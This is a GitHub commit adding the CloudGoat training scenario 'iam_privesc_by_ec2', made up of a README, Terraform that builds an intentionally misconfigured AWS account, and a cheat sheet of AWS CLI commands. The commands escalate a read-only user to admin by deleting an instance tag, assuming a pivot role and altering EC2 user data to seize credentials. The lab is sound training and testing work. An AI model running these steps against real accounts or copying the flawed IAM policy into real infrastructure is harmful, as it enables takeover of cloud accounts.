-
Notifications
You must be signed in to change notification settings - Fork 640
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #230 from DaveYesland/scenario/iam_privesc_by_ec2
Scenario/iam privesc by ec2
- Loading branch information
Showing
10 changed files
with
327 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
# Scenario: iam_privesc_by_ec2 | ||
|
||
**Size:** Small | ||
|
||
**Difficulty:** Easy | ||
|
||
**Command:** `$ ./cloudgoat.py create iam_privesc_by_ec2` | ||
|
||
## Scenario Resources | ||
|
||
* 1 IAM User | ||
* 1 EC2 Instance | ||
* 2 IAM Roles | ||
|
||
## Scenario Start(s) | ||
|
||
1. IAM User "cg_dev_user" | ||
|
||
## Scenario Goal(s) | ||
|
||
Compromise the EC2 "admin_ec2" and gain its admin privileges of the "cg_ec2_role". | ||
|
||
## Summary | ||
|
||
This is a simple scenario, partially designed to demonstrate the use of [IAMActionHunter](https://github.com/RhinoSecurityLabs/IAMActionHunter) . Starting as the cg_dev_user you need to use your ReadOnly permissions to enumerate the IAM Users and Roles permissions to compromise the "admin_ec2" in the account and gain administrator permissions. | ||
|
||
## Walkthrough - IAM User "cg_dev_user" | ||
|
||
1. Enumerate IAM permissions for your cg_dev_user and the cg_ec2_management_role | ||
2. Note that you can assume the cg_ec2_management_role role and it has the permissions ec2:stopInstances,ec2:startInstances,ec2:modifyUserAttribute but only resources without a specific tag. | ||
3. cg_dev_user has ec2:deleteTags permission. | ||
4. cg_dev_user deletes the tag from the admin_ec2. | ||
5. cg_dev_user assumes the cg_ec2_management_role and modifies the userdata to run a command to either gain access to it or exfiltrate the credentials from it. | ||
|
||
A cheat sheet for this route is available [here](./cheat_sheet_dev_user.md). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
### Enumerate the user and roles we have access to from the start cg_dev_user | ||
``` | ||
# Gather all roles and users permissions | ||
iamactionhunter --collect --profile cg_dev_user | ||
# Check for Write actions that the dev_user has | ||
iamactionhunter --config write_actions --account <account_id> --user cg_dev_user | ||
# Check if the dev_user has any interesting IAM permissions | ||
iamactionhunter --config dangerous_iam --account <account_id> --user cg_dev_user | ||
# See what write permissions the role you can assume has | ||
iamactionhunter --config write_actions --account <account_id> --role cg_ec2_management_role | ||
# Check back on the dev_user see if you can do anything with tags | ||
iamactionhunter --query 'ec2:*tag*' --account <account_id> --user cg_dev_user | ||
# Note you can delete tags allowing you to satisfy the condition set for the ec2_management_role | ||
``` | ||
|
||
### Use the dev_user to enumerate ec2 instances | ||
``` | ||
# Get instances that have the tag referenced in the condition | ||
aws ec2 describe-instances --region us-west-2 --profile cg_dev_user --filter "Name=tag:Name,Values=cg_admin_ec2*" | ||
``` | ||
|
||
|
||
|
||
### Delete the tag using the dev_user on the EC2 to satisfy the condition for the cg_ec2_management_role | ||
``` | ||
aws ec2 delete-tags --region us-west-2 --profile cg_dev_user --resources <instance_id> --tags Key=Name | ||
``` | ||
|
||
### Assume the cg_ec2_management_role | ||
``` | ||
aws sts assume-role --role-arn arn:aws:iam::<account_id>:role/cg_ec2_management_role --role-session-name blah --profile cg_dev_user | ||
``` | ||
|
||
### Use the cg_ec2_management_role to stop the instance | ||
``` | ||
aws ec2 stop-instances --region us-west-2 --profile cg_ec2_management_role --instance-ids <instance_id> | ||
``` | ||
|
||
### Use the cg_ec2_management_role to modify the userdata to access the EC2 or exfiltrate credentials from it ([https://hackingthe.cloud/aws/exploitation/local-priv-esc-mod-instance-att/](https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/)) | ||
``` | ||
aws ec2 modify-instance-attribute --region us-west-2 --profile cg_ec2_management_role --instance-id <instance_id> --user-data file://userdata.txt | ||
``` | ||
|
||
### Use the cg_ec2_management_role to start the instance | ||
``` | ||
aws ec2 start-instances --region us-west-2 --profile cg_ec2_management_role --instance-ids <instance_id> | ||
``` | ||
|
||
### Access the EC2 or exfiltrate credentials and gain admin privileges |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
--- | ||
# The name of the scenario, alpha-numeric characters only, and underscore-separated | ||
- name: iam_privesc_by_ec2_compromise | ||
# The name of the author(s), comma separated | ||
- author: Dave Yesland With Rhino Security Labs | ||
# The version of the scenario, where major versions are breaking changes and minor are small fixes. | ||
- version: 1.0 | ||
# Text displayed to the user when they type "{{ scenario_name }} help" | ||
- help: | | ||
This Scenario demonstrates more nuanced IAM privilege escalation techniques. | ||
It is partially intended to be a demonstration of how to use the IAMActionHunter tool. | ||
Goal: Starting as the cg_dev_user find a way to compromise the cg_admin_ec2 and gain the privileges | ||
of the cg_ec2_admin_role. | ||
# Records the date upon which this scenario was last updated, in MM-DD-YYYY format | ||
- last-updated: 07-18-2023 | ||
... |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
#AWS Account Id | ||
data "aws_caller_identity" "aws-account-id" { | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
resource "aws_instance" "cg_admin_ec2" { | ||
ami = var.ami_id | ||
instance_type = var.instance_type | ||
iam_instance_profile = aws_iam_instance_profile.cg_ec2_role.name | ||
|
||
# Specify the VPC's private subnet | ||
subnet_id = aws_subnet.cg_private_subnet.id | ||
|
||
# Tags for the instance | ||
tags = { | ||
Name = "cg_admin_ec2_${var.cgid}" # Append the unique identifier to the name | ||
} | ||
} | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,118 @@ | ||
# Admin role for EC2 | ||
resource "aws_iam_role" "cg_ec2_role" { | ||
name = "cg_ec2_role_${var.cgid}" | ||
|
||
assume_role_policy = jsonencode({ | ||
Version = "2012-10-17" | ||
Statement = [ | ||
{ | ||
Action = "sts:AssumeRole" | ||
Principal = { | ||
Service = "ec2.amazonaws.com" | ||
} | ||
Effect = "Allow" | ||
}, | ||
] | ||
}) | ||
} | ||
|
||
resource "aws_iam_instance_profile" "cg_ec2_role" { | ||
name = "cg_ec2_role_profile_${var.cgid}" | ||
role = aws_iam_role.cg_ec2_role.name | ||
} | ||
|
||
resource "aws_iam_role_policy_attachment" "cg_ec2_role_policy_attach" { | ||
role = aws_iam_role.cg_ec2_role.name | ||
policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess" | ||
} | ||
|
||
# Dev user (starting user) | ||
resource "aws_iam_user" "cg_dev_user" { | ||
name = "cg_dev_user_${var.cgid}" | ||
} | ||
|
||
resource "aws_iam_user_policy" "cg_dev_ec2_permissions" { | ||
name = "cg_dev_ec2_permissions_${var.cgid}" | ||
user = aws_iam_user.cg_dev_user.name | ||
|
||
policy = jsonencode({ | ||
Version = "2012-10-17" | ||
Statement = [{ | ||
Action = [ | ||
"ec2:AllocateAddress", | ||
"ec2:DeleteTags", | ||
"ec2:AssociateRouteTable", | ||
"ec2:AttachNetworkInterface", | ||
"ec2:CreateSecurityGroup", | ||
] | ||
Effect = "Allow" | ||
Resource = "*" | ||
}] | ||
}) | ||
} | ||
|
||
resource "aws_iam_user_policy" "cg_dev_ec2_mgmt_assume" { | ||
name = "cg_dev_ec2_mgmt_assume_${var.cgid}" | ||
user = aws_iam_user.cg_dev_user.name | ||
|
||
policy = jsonencode({ | ||
Version = "2012-10-17" | ||
Statement = [{ | ||
Action = [ | ||
"sts:AssumeRole", | ||
] | ||
Effect = "Allow" | ||
Resource = "arn:aws:iam::${data.aws_caller_identity.aws-account-id.account_id}:role/cg_ec2_management_role" | ||
}] | ||
}) | ||
} | ||
|
||
resource "aws_iam_user_policy_attachment" "cg_dev_user_policy_attach" { | ||
user = aws_iam_user.cg_dev_user.name | ||
policy_arn = "arn:aws:iam::aws:policy/ReadOnlyAccess" | ||
} | ||
|
||
resource "aws_iam_access_key" "cg_dev_user_key" { | ||
user = aws_iam_user.cg_dev_user.name | ||
} | ||
|
||
# EC2 management role (pivot role) | ||
resource "aws_iam_role" "cg_ec2_management_role" { | ||
name = "cg_ec2_management_role_${var.cgid}" | ||
|
||
assume_role_policy = jsonencode({ | ||
Version = "2012-10-17" | ||
Statement = [ | ||
{ | ||
Action = "sts:AssumeRole" | ||
Principal = { | ||
AWS = "arn:aws:iam::${data.aws_caller_identity.aws-account-id.account_id}:user/cg_dev_user_${var.cgid}" | ||
} | ||
Effect = "Allow" | ||
}, | ||
] | ||
}) | ||
} | ||
|
||
resource "aws_iam_role_policy" "cg_ec2_manage_permissions" { | ||
name = aws_iam_role.cg_ec2_management_role.name | ||
role = "cg_ec2_management_role_${var.cgid}" | ||
|
||
policy = jsonencode({ | ||
Version = "2012-10-17" | ||
Statement = [{ | ||
Action = [ | ||
"ec2:StartInstances", | ||
"ec2:StopInstances", | ||
"ec2:ModifyInstanceAttribute", | ||
], | ||
Effect = "Allow" | ||
Resource = "*" | ||
Condition = { | ||
StringNotEquals = { | ||
"aws:ResourceTag/Name" = "cg_admin_ec2_${var.cgid}" | ||
} | ||
} | ||
}] | ||
}) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
# cg_dev_user access keys | ||
output "cg_dev_user_access_key_id" { | ||
value = "${aws_iam_access_key.cg_dev_user_key.id}" | ||
} | ||
|
||
output "cg_dev_user_secret_access_key" { | ||
value = "${aws_iam_access_key.cg_dev_user_key.secret}" | ||
sensitive = true | ||
} | ||
|
||
#AWS Account ID | ||
output "cloudgoat_output_aws_account_id" { | ||
value = "${data.aws_caller_identity.aws-account-id.account_id}" | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
provider "aws" { | ||
profile = "${var.profile}" | ||
region = "${var.region}" | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
#Required: AWS Profile | ||
variable "profile" { | ||
} | ||
|
||
#Required: AWS Region | ||
variable "region" { | ||
default = "us-east-1" | ||
} | ||
|
||
#Required: CGID Variable for unique naming | ||
variable "cgid" { | ||
} | ||
|
||
#Required: User's Public IP Address(es) | ||
variable "cg_whitelist" { | ||
type = list | ||
} | ||
|
||
#Stack Name | ||
variable "stack-name" { | ||
default = "CloudGoat" | ||
} | ||
#Scenario Name | ||
variable "scenario-name" { | ||
default = "iam-privesc-by-ec2" | ||
} | ||
|
||
# AMI to use for EC2 instance | ||
variable "ami_id" { | ||
description = "The ID of the AMI to use" | ||
default = "ami-06ca3ca175f37dd66" | ||
} | ||
|
||
# Instance type to use for EC2 instance | ||
variable "instance_type" { | ||
description = "The type of instance to start" | ||
default = "t2.micro" | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
# Create a VPC | ||
resource "aws_vpc" "cg_vpc" { | ||
cidr_block = "10.0.0.0/16" | ||
enable_dns_support = true | ||
enable_dns_hostnames = false | ||
tags = { | ||
Name = "cg-vpc-${var.cgid}" | ||
} | ||
} | ||
|
||
# Create a private subnet | ||
resource "aws_subnet" "cg_private_subnet" { | ||
vpc_id = aws_vpc.cg_vpc.id | ||
cidr_block = "10.0.1.0/24" | ||
availability_zone = "us-east-1a" | ||
map_public_ip_on_launch = false # No public IPs | ||
tags = { | ||
Name = "cg-private-subnet-${var.cgid}" | ||
} | ||
} | ||
|
||
# Basic VPC outputs | ||
output "vpc_id" { | ||
value = aws_vpc.cg_vpc.id | ||
} | ||
|
||
output "subnet_id" { | ||
value = aws_subnet.cg_private_subnet.id | ||
} |